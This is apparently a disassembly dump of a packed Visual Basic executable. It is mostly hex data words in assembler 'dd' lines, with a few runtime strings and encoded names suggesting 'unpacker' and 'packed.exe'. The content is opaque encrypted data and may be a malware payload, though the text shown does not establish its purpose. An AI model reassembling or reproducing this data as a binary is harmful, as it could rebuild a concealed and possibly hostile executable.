		dd 0B46BA1A2h, 19E49650h, 6D5DAE98h, 38000000h,	0CCB95D7Ah
		dd 3210744Fh, 0A805BC17h, 9D07ADA4h, 381DDD75h,	0A9D4821Dh
		dd 7222A1A2h, 0C18DEC87h, 0FDA1A2A9h, 7224C626h, 0FEAE987Ah
		dd 0B196C0A3h, 0B060A1A2h, 321BC5h, 0A3FE0000h,	0A2B196C0h
		dd 0C5B060A1h, 32107450h, 0A241BC17h, 36C3ADA4h, 0A2A20B5Fh
		dd 8D4DF5A1h, 0A2616D0Ch, 865DA1A2h, 7DD284A6h,	74BAE98h
		dd 50000000h, 8755Eh, 10742500h, 0B1731330h, 0B6F6F797h
		dd 0EC7053F6h, 27ADAA83h, 18D0D48Ch, 0B64347EAh, 0AEC83D2h
		dd 4649BDF0h, 0C6E3A386h, 9F173624h, 0F612D07Ah, 6A1F5150h
		dd 8C0DADC8h, 5AFFDBBFh, 0A38B547Bh, 0E540F0ABh, 7CEE8CA9h
		dd 547D1B3Eh, 32DCFCBEh, 0B031F1B3h, 0E2B0783h,	0B68FACB7h
		dd 0F8E8A8A1h, 2ED09B04h, 57475E13h, 0C600000Bh, 556BF9A5h
		dd 0E59B8931h, 773527BFh, 5BBA955h, 0C22A38DEh,	0E482A1BAh
		dd 70123076h, 0DA5CCE2h, 9E3C591Fh, 482BF28Ch, 0A1A8861Eh
		dd 26DBD0F8h, 0A7A181ACh, 0B0957115h, 0AA8313D1h, 0D745FDADh
		dd 0EEF8DBF6h, 68A1A882h, 7410DDA8h, 0D6F3B396h, 2B8A4134h
		dd 0ABA3803Dh, 0A7C267DFh, 83A12988h, 0E55FABB3h, 0E5A726BCh
		dd 0B7D25025h, 46630113h, 0B6EE81A4h, 4C06FA90h, 0A697EE9Bh
		dd 42E006E2h, 6D88A782h, 0B3F84412h, 7702B2ABh,	0B8F9E99Ch
		dd 8EAB6BA1h, 0DB49F114h, 0DBDA80A5h, 0BAF930B8h, 35117535h
		dd 0FC22B110h, 762E3FBFh, 0DA0C9066h, 0FBE29FB4h, 0A9Eh
		dd 0A2B05E79h, 0D240EA0Ch, 4CDE789Ch, 0F2600E2Eh, 6DFF97BCh
		dd 3B580119h, 0CBEB899Bh, 5E872537h, 0F51056C4h, 60BDC755h
		dd 0A8875901h, 9C17A7A1h, 17321074h, 0B9DF799Fh, 1CDC9C1Dh
		dd 1F97B269h, 1A5A5BF7h, 8278F46Fh, 1A9AADAAh, 0B862873Fh
		dd 49F114AAh, 411F7B48h, 44048525h, 0C8EDA184h,	14E1A322h
		dd 8376E6F9h, 1080ABA3h, 0BE5C7935h, 5BFF1B9Bh,	876F1A5Ah
		dd 2460EF86h, 59656434h, 57F316ACh, 9B0753F2h, 18983321h
		dd 7E567AB9h, 23D68E41h, 5E177340h, 25A43E64h, 65D48263h
		dd 7222ABB3h, 613C97B2h, 0E3A1B867h, 799C1633h,	82D43D1h
		dd 0AD446362h, 0F3BE906Ah, 9609FC86h, 0B5BABCDCh, 3C5E5473h
		dd 0BC5D1F9Eh, 0B5BABC2Ah, 54996CD4h, 9CF75230h, 0BFB1BE14h
		dd 9EC8AB76h, 78BF85BDh, 615DF8B8h, 0F6B4A644h,	6B1335D3h
		dd 6B6A2A6Ah, 0C5603E5Ah, 8EBF7EEAh, 1A98B5h, 59195B5Ah
		dd 98CEA1FCh, 66B98CBEh, 3CD6FCBEh, 770EFBBDh, 0C1644246h
		dd 0D4800BAAh, 0DE3C1554h, 4CF5A82Bh, 0AF17B389h, 0EC7DD13Fh
		dd 0B8A35E40h, 96Ah, 7EEC92B5h,	0EE7C1E38h, 180AACC8h
		dd 8E9C425Ah, 392BCBE8h, 6F94CD2Dh, 0FF2745D7h,	92B3F163h
		dd 294C62F0h, 54C19381h, 0A8886D7Dh, 0E8C3EBA1h, 1E38E005h
		dd 7B3B7D7Ch, 181D387Ah, 0A180D1B9h, 53752FA7h,	0AA2BEBABh
		dd 5825DF8h, 0D138CB4Fh, 0E17B18EDh, 587D1B3Eh,	3D60F2B2h
		dd 0B49B3589h, 11F2h, 0FA5E8900h, 7B000004h, 8015455Ch
		dd 33E3A7A1h, 0CE0BD546h, 0F7523054h, 0A4B01D9Ch, 62C77FADh
		dd 64650520h, 0D1805124h, 7CAE7D7Bh, 45E0BEDAh,	0ABA93B6Ah
		dd 21805D74h, 78B3A9B9h, 9E1FDF47h, 280DE9ADh, 54A37C89h
		dd 0EDAF87E6h, 0ECAC2DC5h, 0AFE3C219h, 8072B580h, 0B643E702h
		dd 0A8C762D2h, 0B96781C9h, 32C77F42h, 0D07A9F17h, 61092C42h
		dd 0D4729971h, 0F0EB6601h, 88Ah, 5ECC7295h, 0CE5CFE18h
		dd 78EA8CA8h, 0EE7C223Ah, 190BABC8h, 4F74ED0Dh,	0DF07A5B7h
		dd 7293D143h, 92C42D0h,	74A1F361h, 0A8894D1Dh, 88E38BA1h
		dd 63032062h, 53F91C96h, 0D5D49436h, 71D47291h,	8B7E143Dh
		dd 7250347Bh, 821AFCD7h, 1DA4ADAAh, 0BFC79FCDh,	0BD985883h
		dd 0B082C66h, 0A8503EA8h, 9858D8A1h, 963451EDh,	27C3E684h
		dd 15F195A6h, 528F5130h, 6100ABA3h, 4C8C7704h, 8471C9h
		dd 439EB590h, 0B3837660h, 521080ABh, 49E59036h,	0C1698C2Ch
		dd 0C06682C0h, 0FCF8FC1h, 903A5F1Dh, 59783A11h,	8D7838B9h
		dd 64741231h, 28CD8EB0h, 0D39B827Fh, 42000007h,	0D1978529h
		dd 610715B5h, 0F3B1A343h, 812735D9h, 4656C462h,	60062D36h
		dd 0FC96BCF2h, 8929486Eh, 1AC0E59Bh, 0D4AF7608h, 0A1A88A82h
		dd 62572C7Ch, 38E634C3h, 2030F6BCh, 0C2842530h,	1CBAD90Dh
		dd 0DA789E5Ch
		dd 27EC99DBh, 0C3A28763h, 0ADAAE411h, 13475EFBh, 0EDA1A8E7h
		dd 0D2D07535h, 4B1F76B7h, 0B5A1A8E7h, 99DF4D0Dh, 0F8DFDE7Ch
		dd 0CF99DBAh, 42E7C3C7h, 0E71A4C27h, 3CE4A1A8h,	0A0339249h
		dd 1DABADFCh, 2FBEFC6h,	9D05ABADh, 2CBC64E8h, 28C80E02h
		dd 37495011h, 0E6000007h, 750B19C5h, 5BBA951h, 97D547DFh
		dd 255BC975h, 0E2CA58FEh, 4A2C19Ah, 90325016h, 2DC5EC82h
		dd 0BE5C793Fh, 0A80B12ACh, 0A1A88A3Eh, 53BB0D8h, 0FBBB3AE0h
		dd 0E9BD3CDEh, 0CAEF52AAh, 76F1E2C1h, 0A9691CF0h, 0A4D07ABBh
		dd 749B49Ah, 52000000h,	2DC5Eh,	0E0052500h, 419CBB3Ah
		dd 0A180786Eh, 0F81C86A7h, 5D1D5F5Eh, 431F7BA8h, 835D8FE6h
		dd 7BFADAAh, 88325715h,	882E5509h, 15F1959Ah, 80EE5130h
		dd 8023ABA3h, 2AA3F119h, 84B213DCh, 38FA6CC8h, 82329663h
		dd 20CAEFA7h, 0B1597C32h, 0E7FE1530h, 0ABB38BF3h, 42E0950Dh
		dd 0EEA48125h, 0EBAD2CCAh, 3256671Eh, 0D8DAF154h, 5C64F8B9h
		dd 0D2917918h, 69EC6712h, 8BA1B6D8h, 275D9B0Bh,	37AA2ED1h
		dd 65D2Ch, 0FF9FB800h, 8F2B4F6Dh, 1DB9DF9Dh, 0AF4F690Fh
		dd 3ED8FFBDh, 9BC0D82Ch, 2A48DA7Ch, 0C6E4760Ch,	5311039Fh
		dd 0FC869436h, 8B184E21h, 0D6E6A1A8h, 22062DDh,	803CAA05h
		dd 5ADAA7A1h, 3257EF9Ah, 30550988h, 0D2F7AF8Ah,	0B74B6A28h
		dd 0E0837636h, 0E2E387A2h, 0E0E181A0h, 0DC41DB78h, 86740F0Eh
		dd 6DB9EE2Dh, 223A5B2Eh, 95B05A7Fh, 0AE5BFB19h,	0D4AD5944h
		dd 1516B49Ah, 0AD000000h, 519FC362h, 478062D9h,	16BABB2h
		dd 366C0000h, 1B807511h, 0AA3AE005h, 1CBB8B98h,	0BFF3EA67h
		dd 5E000005h, 0ED83913Dh, 7D3321C9h, 0FADBF57h,	9DD341EDh
		dd 7A42D076h, 7C1A3922h, 8AAC8EEh, 0A53D641Ah, 36D4F1B7h
		dd 20839A24h, 0A1A88CB6h, 5433840h, 0FBBB3AE0h,	0E9BD3CDEh
		dd 0CAEF52AAh, 807C6A45h, 1A9AA7A1h, 3C24FF5Ah,	618EF07Fh
		dd 0AD906217h, 0B49B48F9h, 2B62h, 0A9082700h, 0A7A1E321h
		dd 299267DFh, 0EC5Eh, 455C7B00h, 0A7A18015h, 1C21142Eh
		dd 9D71792Ch, 98580227h, 0D25E68EDh, 25000000h,	17321074h
		dd 0AA83ACBCh, 0E9C8E7ADh, 0A1A883E1h, 73721031h, 10E55D31h
		dd 580E61BCh, 0A6A1A883h, 71193CFEh, 870330B1h,	90378EABh
		dd 0E5ABAD9Eh, 0A0E3F7CEh, 0A51DABADh, 0D4C47CD0h, 28C7AC28h
		dd 0F3637AF7h, 22000004h, 0B1F76509h, 4167F595h, 0D3918323h
		dd 610715B9h, 0A6B6A442h, 40E60D56h, 0DC769CD2h, 6909284Eh
		dd 0FAA0C5FBh, 0F4CF5668h, 0A1A88DE2h, 74774C1Ch, 0BC173210h
		dd 0ADA4CD12h, 0D88EE13Ch, 8A1A2CEh, 0D4F4EF0h,	54F1B161h
		dd 8E9C3A5Eh, 4AF2178Fh, 490B8A30h, 0BD480889h,	0A2CEAB22h
		dd 0A44663A1h, 0FD1F97B6h, 0CE0D5D34h, 4BCBA1A2h, 2044FE8Bh
		dd 6ECB2667h, 0DCD2164h, 474958Ch, 0C860000h, 842643E9h
		dd 0F6834305h, 32107405h, 83ACBC17h, 0F6AEADAAh, 0D531D0F7h
		dd 8ED8BB3Ah, 48A1A8C1h, 0F899E9C8h, 0DABE6712h, 234659FCh
		dd 0FDABADE1h, 24B15545h, 837E28C8h, 43598h, 27C7E000h
		dd 0B7537735h, 45E107A5h, 0D77791D7h, 66002745h, 0C398E0F4h
		dd 521002A4h, 0EE8C9E34h, 7B392BC7h, 14AEBC5Eh,	8D20B609h
		dd 8EDEA1A8h, 0D3107435h, 0B8B18097h, 2401C19Eh, 0AA26974Dh
		dd 821D38ADh, 0A1A828D4h, 1877222h, 741DB491h, 0C2C12CA8h
		dd 0E500DFAAh, 0E686CE4Ah, 0A875DB8Fh, 5C7D25A1h, 0CBBE1BE5h
		dd 0BEAC4E6Bh, 7961409Fh, 87A1A888h, 0ADC86A1Fh, 0DBBF8C0Dh
		dd 547B5AFFh, 0F0ABA389h, 8AA9E540h, 0A7C219ECh, 0AF2EC8EFh
		dd 7F9A18EDh, 0E2B49DBh, 3C586D6Ch, 0CC58FB5Eh,	0B4C84036h
		dd 627D986Dh, 0A1B6BBFBh, 1B35A51Dh, 0E82ED0CFh, 37C6E69h
		dd 809B0000h, 0C2E4CDEh, 9ABEFC6Eh, 30486EFCh, 0B9DE9C8Eh
		dd 0DF3F0F1Dh, 0ABB95D7Ah, 0C755ED15h, 70E280A1h, 0E1731732h
		dd 7B6F46DFh, 85A1A88Eh, 4762FEF5h, 0A1807A6Ch,	691C84A7h
		dd 8B0AB0D5h, 96EDAECBh, 269BEA72h, 95315614h, 86945414h
		dd 41096887h, 0BFA7A18Eh, 0E740A1E6h, 35F54990h, 1BF79340h
		dd 93E4A73Eh, 8030ADA4h, 93646E01h, 0BB58A1A2h,	0FE2599A1h
		dd 52275958h, 9890FBAFh, 4564AEh, 8E210000h, 8A72946Eh
		dd 817A0F62h, 7C571074h, 0A7A1806Ah, 0C96C2C94h, 0AA3C97B2h
		dd 54A7A180h, 0EB8619ECh, 7CADA491h, 6872346h, 0B9792144h
		dd 0D9D858CCh, 0A291CC86h, 0F953F0A1h, 988E7D29h, 104E6AEh
		dd 5FD0000h, 0FE845FE0h, 0D019C629h, 0A48BDFBEh, 2C75A7A1h
		dd 973453E0h, 1CDC9CA5h, 0E004BE9Dh, 70054746h,	0D5F395B2h
		dd 55F0B031h, 0A1566C7Ah, 6A2AEAA7h, 15B1D7CFh,	4E21D494h
		dd 2443E90Ch, 57CD5163h, 37F7542Eh, 11347677h, 0BEE6FB69h
		dd 0F6A7A1BAh, 872537D3h, 0E239B862h, 10E585A0h, 0ACC9A7E3h
		dd 88EB4E0Eh, 0ADA4E751h, 132E0B8Bh, 35D47693h,	0A1A2E6A5h
		dd 0CC16E353h, 0B5DDBBDFh, 99F85D1Dh, 0ABA457E5h, 8BA68333h
		dd 572EEF0Bh, 0ABA89703h, 0F08545FDh, 0E3711532h, 2BCBE8AAh
		dd 0A2348FAAh, 5CABA897h, 0DD5124E4h, 5FF312B6h, 2489FF5Eh
		dd 0C29E3DFFh, 0C8524202h, 5728C4C8h, 1F0839Ah,	0C2F0000h
		dd 98B2F062h, 264260F2h, 0BCDC9280h, 45620012h,	53ABB3A1h
		dd 0DF4DE90Eh, 4BD97999h, 0E4760C35h, 1507A3C6h, 0E7F3D24Bh
		dd 11A1A890h, 20627249h, 24646505h, 10B6DD51h, 0A1496C02h
		dd 1074C4B3h, 806A7C57h, 4994A7A1h, 0A1806076h,	66269EA7h
		dd 8D2083A6h, 0AFADA491h, 0D3D3F6F7h, 52F413B5h, 0A4511153h
		dd 0A291A12Dh, 66C69DA1h, 988E12C4h, 0EE8BAEh, 5100000h
		dd 0C01F3AE0h, 0A180F9E1h, 0EA9F07A7h, 0D6F6AC8Bh, 35F7A928h
		dd 296B6A10h, 25C1E65Ch, 0DC8AE500h, 3AA7A180h,	0FEBE6078h
		dd 5019ECDFh, 1CE93424h, 0E21A0265h, 3752A7A1h,	14D47291h
		dd 0A5456006h, 97731724h, 0D78913B2h, 0AE5FB92Fh, 0BAA53CDBh
		dd 5EADA410h, 434774E6h, 0EFA7C267h, 8AA120CAh,	0A258BF2Bh
		dd 19D959A1h, 0F652F56Ch, 90AFABA4h, 0A805A931h, 1AEF57ABh
		dd 8DC86BB6h, 9580A71Bh, 67D28465h, 742CABA8h, 0F61D91B4h
		dd 0D38A29B1h, 0F2B292EDh, 81254260h, 0C4D51311h, 7661E028h
		dd 0D2h, 96842A4Dh, 614B6D0h, 0B0A24460h, 2634DAF2h, 51C36380h
		dd 72C3545h, 97BFFD6Fh,	2A4B69FBh, 0C1E49A88h, 0AC690B19h
		dd 0A89185D5h, 502B73A1h, 7A6C4762h, 84A7A180h,	5F5EFC1Eh
		dd 0AA85D1Dh, 0A5DB49EDh, 1348DA80h, 0BB3AE005h, 2E3CDEFBh
		dd 64C19DF9h, 0AA83EF0Dh, 6A8B09ADh, 0D58908C8h, 5A180AB0h
		dd 0E7BE9B3Fh, 12D8A6E4h, 671EEB9Fh, 0C3DBC604h, 0EA42171Bh
		dd 821D2247h, 0DB9322D4h, 0A0B27222h, 0E643E702h, 3B8D354Fh
		dd 0B84DCD38h, 0BB638539h, 7660439Eh, 80DB93E7h, 5F5EF412h
		dd 0C9A85D1Dh, 0F53D1FBCh, 0E793C7DEh, 0B56DDB93h, 0A34762C0h
		dd 54FD94B1h, 2BC7EF69h, 0BECBEAAAh, 0A9517537h, 83A61CE9h
		dd 3FFE6E7h, 86000000h,	0E2051A61h, 0DCF9BD3Ch,	0D6FFBF3Eh
		dd 0D9F9BD3Ch, 2 dup(0DDFAB839h), 0E2FAB839h, 0DBF9BD3Ch
		dd 0DEF8BA3Bh, 57FABD3Ch, 0C781E789h, 4, 5704EF83h, 42474FFh
		dd 24048F5Fh, 7318685Ch, 1C890000h, 0E6895624h,	4C681h
		dd 0EE830000h, 24348704h, 2414895Ch, 9033568h, 241C8B06h
		dd 4C481h, 0EC830000h, 24248904h, 4240483h, 4EC815Ah, 89000000h
		dd 428F241Ch, 2434FF08h, 4C4815Ah, 0FF000000h, 835B2434h
		dd 0B1E904C4h, 0FAFFFB2Fh, 7F83B52Dh, 5D639F9Ch, 41F204D7h
		dd 123FB85Dh, 0C5030609h, 0C0FDE0FFh, 0E8F877B7h, 0D8F9498Ah
		dd 0FE86B83h, 0A7000000h, 67C8264Ch, 617AFED2h,	0C6FF9689h
		dd 8E0FE2CBh, 3, 5AC38B66h, 0DE8h, 0B6313300h, 0EA1618E3h
		dd 0AAA83F9Eh, 8B6648D9h, 0C2815EF0h, 5B50h, 583EBF60h
		dd 820F3595h, 2, 336141B5h, 0FE9FFh, 85170000h,	0E3242972h
		dd 216A046h, 0B98C77A8h, 1734FFC5h, 5840Fh, 81660000h
		dd 5914BAF6h, 0EA38E981h, 0BF0F361Eh, 32C181C0h, 0E938A1D3h
		dd 6, 1275159Dh, 0E981579Eh, 3F9A1897h,	5810Fh,	0EDBE0000h
		dd 51082B0Ah, 0F3A048Fh, 184h, 830FFC00h, 5, 0F7B70F53h
		dd 4EF835Bh, 0C6B70F56h, 6CFF815Bh, 0FFFFFA5h, 0FFFF9C85h
		dd 8DC38AFFh, 914798Dh,	50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1C04h, 0C3504000h, 0E4EFAF4h, 217E9903h
		dd 9B5897Ch, 8906030Bh,	331D18Dh, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1C04h,	0C3534300h, 87ABFDF1h
		dd 59E61893h, 69BD8922h, 0C706030Ch, 301E185h, 58D406h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1C04h
		dd 0C3534300h, 0DFB0EF5Ah, 88BDD70Ch, 0BD85C78Dh, 60321h
		dd 89000000h, 32D8185h,	56DB8106h, 0FF072F67h, 3324DB5h
		dd 15BD8B06h, 0FF060323h, 3269195h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 0AA404076h
		dd 0DA2EC2A1h, 9E93F681h, 6A52BDh, 1FB995FFh, 0C08B0603h
		dd 25CD19EBh, 0F9E4BDDBh, 0BC9CEE46h, 5662A25Eh, 0FCCA38BBh
		dd 0ED296DD7h, 0E9BD6AECh, 15Ch, 77E705C5h, 6D5C3A43h
		dd 706E755Fh, 656B6361h, 61700072h, 64656B63h, 6578652Eh
		dd 3Bh dup(0)
a3cannotFindS_P	db '3Cannot find ',27h,'%s',27h,'. Please, re-install this application',0
aThunrtmain	db 'ThunRTMain',0
a__vbavartstne	db '__vbaVarTstNe',0
		dd 82A5CA5h, 1AAEE9h, 17EA6800h, 5EE90609h, 68FFFA67h
		dd 60918D0h, 0FA6754E9h, 19BF68FFh, 4AE90609h, 68FFFA67h
		dd 6091A72h, 0FA6740E9h, 1AB168FFh, 36E90609h, 68FFFA67h
		dd 6091B87h, 0FA672CE9h, 1BDA68FFh, 22E90609h, 68FFFA67h
		dd 6091C3Ah, 0FA6718E9h, 22D668FFh, 0EE90609h, 68FFFA67h
		dd 609237Dh, 0FA6704E9h, 243268FFh, 0FAE90609h,	68FFFA66h
		dd 6092512h, 0FA66F0E9h, 257168FFh, 0E6E90609h,	68FFFA66h
		dd 6092646h, 0FA66DCE9h, 270668FFh, 0D2E90609h,	68FFFA66h
		dd 609278Eh, 0FA66C8E9h, 2DC268FFh, 0BEE90609h,	68FFFA66h
		dd 6092EABh, 0FA66B4E9h, 2F6968FFh, 0AAE90609h,	91FFFA66h
		dd 1AEFFD02h, 891C7079h, 3B8EC2E7h, 0AB3E5253h,	0C5AF3DC6h
		dd 6AB4C1Ah, 9A1BFF42h,	689163F6h, 0F9FE9164h, 7CCCCAEBh
		dd 7105DAE3h, 2AD49759h, 6C2AA243h, 75F3F899h, 14787D10h
		dd 0B334DBAAh, 0E1FF8A35h, 0AB61C9h, 0E2697512h, 0E0C542EAh
		dd 0DD43710Bh, 3E95AF89h, 3952936Ah, 0ED000000h, 4B6785F0h
		dd 0F020B991h, 0C99C770Eh, 0C17B3573h, 0EF0F069h, 23994C77h
		dd 11FF790Bh, 4660F775h, 502CD5A7h, 0DF731038h,	83B1710Bh
		dd 4143595Fh, 0D53C936Ah, 0BF000000h, 2AA2432Ah, 0F7C3B247h
		dd 24E6FE71h, 876A62C9h, 8D5F37F0h, 0E1924BDh, 66CD9877h
		dd 0F4946366h, 96B28669h, 770E19FDh, 0B6C39443h, 0EDA33F1Fh
		dd 5205BD08h, 5869CF18h, 0F19513D2h, 0E4BE829h,	40650877h
		dd 29D6B90Ch, 0A124A449h, 43A82109h, 4114770Eh,	0AAD592FAh
		dd 4CD6720Ch, 0F2751154h, 3B466167h, 172505BDh,	0E26F08E7h
		dd 487103h, 20AAC18Fh, 5E25E38Eh, 5A14C3E2h, 9017E68Bh
		dd 0F9DF17Ah, 0A83D533Eh, 1B8322C7h, 0C0E6D6ADh, 18273528h
		dd 31C00000h, 0A875D88Ch, 16F84D03h, 826AFFEDh,	0F59A6F7Dh
		dd 0EB2A98CCh, 0B3D1DABFh, 27A54A2Eh, 553BC052h, 0C4882DC0h
		dd 0B42DFDBDh, 87105D9h, 452AFB78h, 9F6E28BCh, 177AF6F7h
		dd 6A697F80h, 4B6785F0h, 11FF4DFFh, 5A14C375h, 0C942E6A0h
		dd 37710BDFh, 0DFEF68A0h, 9E4D710Bh, 25A24A22h,	0E3710BDFh
		dd 2CD5A647h, 6F5329BCh, 41273D3Bh, 0E97C936Ah,	8CD32807h
		dd 0E37A58B4h, 9B117414h, 0A681h, 432A3200h, 0F040D971h
		dd 0D1BC770Eh, 45D0BF44h, 40C29503h, 725621DDh,	7CE2155Bh
		dd 0ED785A51h, 149D7217h, 0A36BAC74h, 0EA8D770Eh, 5B3287C5h
		dd 0A75325Ah, 0EC76D2ECh, 527511ACh, 761AEB87h,	0F6721771h
		dd 0CAAD592h, 49B9D672h, 50076F09h, 19A27716h, 0E811E64Bh
		dd 0D6A9D7C9h, 997414E6h, 1741h, 0F29617FAh, 67658E6Fh
		dd 91F7FC92h, 147680Ch,	0B2D6DBBCh, 0C0510530h,	30C0553Bh
		dd 0A674D98Fh, 13FA4F1Dh, 0E3A7FE92h, 5D8CE47h,	0E1823271h
		dd 28BC452Ah, 0F6F79F6Eh, 7F80177Ah, 29CEA243h,	2A443F53h
		dd 472AA243h, 2E590FB0h, 582D4563h, 0D17931BAh,	770EF038h
		dd 1D5BD184h, 1210AF0Dh, 51268D75h, 638BDDA8h, 710BD0E6h
		dd 0CEAAFE22h, 936A2DB6h, 0B7B1h, 18EEC200h, 0B1C9E792h
		dd 1209C399h, 8B624175h, 9867626Ah, 63804BDDh, 236EBC76h
		dd 775DED85h, 0F5A27881h, 0D2A54866h, 50B12AFEh, 580FA274h
		dd 0A11777CDh, 0C3862BCCh, 9F28842Dh, 0FEB8F6F4h, 765B0B5Dh
		dd 0EB41C87Eh, 72AA92C3h, 0F78469A0h, 0B0900921h, 79ECA472h
		dd 0A83F1692h, 17987F0Eh, 2E09EC71h, 4AE02B83h,	0DB9A6169h
		dd 344C54AFh, 52815C2Ch, 95000016h, 1EE3E106h, 8D10747Dh
		dd 3F82C6EBh, 0AF325657h, 0C1A321CAh, 0AAF4016h, 9E1FF346h
		dd 6C9567CAh, 0FD029578h, 78D0D6EFh, 7105D7DFh,	2AC8AB5Dh
		dd 9D2AA243h, 6EBAF4F2h, 75121110h, 0AED5BB2Eh,	6AE34701h
		dd 0D6770EF0h, 2E04A503h, 7A19D1BCh, 0FF049503h, 0ABA7F8EDh
		dd 0DA530F0h, 111F673Dh, 0FBB62575h, 23924A51h,	441560EEh
		dd 0E3B16BE4h, 750AD1F5h, 4147B52Ah, 631FEA16h,	0E70401C7h
		dd 414718F3h, 0E2CD2036h, 6BF6FB9Ch, 926E9364h,	3A424B3h
		dd 0EC3C7A78h, 0EDE4C4BBh, 39CCEA71h, 0AE335156h, 718F26C7h
		dd 0E667FE2Ch, 159FCB06h, 0B9580000h, 30CD5034h, 9E70C58Bh
		dd 0AE27715h, 7D12E7E5h, 63921074h, 0B596237h, 0BF2DD2A6h
		dd 2DA3482Ah, 5C30B558h, 2CA58505h, 907105D6h, 432A03E0h
		dd 46E303A2h, 8068E6D0h, 15604Dh, 0F7F89B00h, 4A6F0C91h
		dd 0D4DDB306h, 0A4492DB0h, 37BC5D20h, 7624D351h, 0E17418A1h
		dd 15F8EC11h, 9B6E6287h, 0C49DF3F4h, 0D6ED66C2h, 0A1537105h
		dd 125E01C2h, 2CB77FAFh, 2ACDA01Ch, 0D9A4C385h,	22FC9FDBh
		dd 189D713Dh, 0A0EB7B47h, 3DD08AC4h, 0AE33555Ah, 3DA820C9h
		dd 0BCF2DA56h, 3A7511EAh, 0AE3EBF57h, 9138AC3Bh, 595722C8h
		dd 0FB530921h, 0F2D16F0Eh, 6B90621Bh, 0CF996461h, 0B9730F9Ah
		dd 0ECFF891h, 1B914477h, 7783CE5Eh, 0F99A0AA7h,	84AFFA42h
		dd 0E6512FFEh, 0C5651D9Bh, 0D869ACFFh, 0C9FEEE7Dh, 0A28620BEh
		dd 0DA616971h, 9B2402Fh, 8E6104A2h, 0E9F56EBAh,	9C4BDA61h
		dd 947931h, 0E7727307h,	6004E0E5h, 0BAF5FA9Dh, 7A7D4152h
		dd 8A825F2Fh, 0AD000014h, 0D6BB29CEh, 4528BC45h, 0F75A0EB3h
		dd 67CA9E1Fh, 897B6992h, 7277184Eh, 0C6E78B1Eh,	545D3F82h
		dd 25CAAD30h, 0B0981EA7h, 7105D617h, 6F10D365h,	770EF0F6h
		dd 0F00C643h, 0F09E3B77h, 7613770Eh, 8E770EF0h,	73AFC6E7h
		dd 20E6D046h, 14379548h, 21F00000h, 9865C89Ch, 6E87D13h
		dd 721AEFFDh, 0E58A1F4Dh, 0FB3A88DCh, 0A321CAAFh, 0D7B53ADEh
		dd 450BB042h, 0F4981DF0h, 0C45DEDADh, 387105D5h, 6C01EB88h
		dd 64616B8Ch, 0AE543F88h, 3CA923C8h, 57311951h,	25751200h
		dd 4DC8167Ch, 87760BB0h, 0D5BB2E79h, 0EA2E412Ch, 0AFE0D3A2h
		dd 13D702DFh, 81100000h, 0F885687Ch, 66089DF3h,	0D2BA0F5Dh
		dd 452ABF2Dh, 9B5A28BCh, 0C3812ACFh, 77159A7Eh,	0E5EB10E2h
		dd 14787D10h, 64FD4D4Dh, 0D87105D4h, 432A4B28h,	5731B65Ah
		dd 3BD47432h, 81770EF0h, 0B01D4FDAh, 15B0D8DDh,	0DFE5F327h
		dd 98996D4Dh, 25h, 4A6B0FDEh, 0F26F75EEh, 2770EF0h, 0F6064A6Bh
		dd 7739E33Bh, 0C2A67931h, 17F8AFEEh, 7895F573h,	1361h
		dd 0A2432AFBh, 0F4F29D2Ah, 395019BAh, 6D0004B1h, 0EEE62F9Bh
		dd 8E6AF176h, 406678D0h, 31A47511h, 81691453h, 0BE6DA104h
		dd 0CAA3163h, 0E76463Ch, 0CE9C46Fh, 1676771Fh, 4F19E473h
		dd 0E1E70CE2h, 0E35BB59h, 3A87577h, 961BF84Dh, 0D98807D8h
		dd 27A14A2Bh, 0C5871DA2h, 513C4C28h, 0FEAD3FC4h, 0B9731246h
		dd 0E33F891h, 1B914477h, 7BCFA576h, 770E33E2h, 18A1735Eh
		dd 238E1570h, 957E86ADh, 6B25996Ch, 400099B1h, 0E97C770Eh
		dd 0E3F26BFh, 0C1C9A77h, 770E3F93h, 199762E9h, 19203h
		dd 6947900h, 1D2DEBFDh,	770E3F84h, 2A866DF8h, 6785F0A9h
		dd 1E29FF4Bh, 0A3E77512h, 0BBF0E87h, 18E77271h,	4F27C670h
		dd 0DEBFD2AEh, 5122B7D5h, 7B1820A8h, 0B5710BCEh, 238EDEE3h
		dd 0BA21AB4Ch, 0F4E4567Ah, 25CEA342h, 44276B4Fh, 0BD2FD4A1h
		dd 5C394C28h, 0B763157h, 0DF75D5EDh, 5D6F0ED9h,	711BA076h
		dd 72DF8914h, 0ED70149Dh, 5DE5E70Ch, 770EB1C2h,	5E3CD167h
		dd 0DA563355h, 17F8B2E6h, 8A6BFE92h, 0F99A6761h, 0A426708h
		dd 0B98F05Fh, 0F08DC509h, 566E85CBh, 4D996D13h,	0B5D7D8B8h
		dd 0CB7F661Ah
		dd 0D2B97172h, 384456h,	2AF70000h, 412CBC45h, 0FC410BB0h
		dd 6EF3951Eh, 91696388h, 9143095Dh, 591C100Ch, 0E39B28B7h
		dd 0AE880129h, 61F4770Eh, 2B63B78Bh, 42FBD46h, 996D1000h
		dd 0AEFFh, 47017800h, 0EF06AE3h, 0A503D677h, 0F1A26F1Ah
		dd 384B7326h, 0C059730Ch, 3C770DF1h, 84A4C2A9h,	75110A86h
		dd 9A6761F4h, 0D7B6F0F9h, 0ADC1BF40h, 0D6B63BD8h, 4701AA4Bh
		dd 0C06822C4h, 710B1947h, 764A26B5h, 668B6822h,	7ABBC162h
		dd 56B49369h, 2000000h,	1567E048h, 6D5710Bh, 88F029AAh
		dd 0F4FE8FAAh, 0D9A40905h, 0EF4089A1h, 0A93C770Eh, 0ED7A173Fh
		dd 506C770Eh, 0C0E8900Ch, 7132C7A6h, 36B2199Eh,	0ED67D078h
		dd 6D5770Eh, 0E1AD442h,	770EED95h, 0F629D2A7h, 10908563h
		dd 0E6000000h, 42982735h, 0C7BDCC7Ah, 425A4Ch, 2AD90000h
		dd 0CB54744h, 2AA2095Ch, 5F0DB647h, 0E68029CAh,	1E4E6F07h
		dd 0EA9DED4Bh, 0CF49039Dh, 56CF5B15h, 0AA770EF0h, 0F074ED3Fh
		dd 1DC8770Eh, 5A9787A7h, 3BF9ABD6h, 52FB0117h, 23F4996Dh
		dd 700000Ch, 6A8F6C01h,	3E896762h, 0ED355751h, 0FDAA2479h
		dd 0F99314FBh, 6F798214h, 8D0D516Dh, 0EEA3EE2h,	0FC219F6h
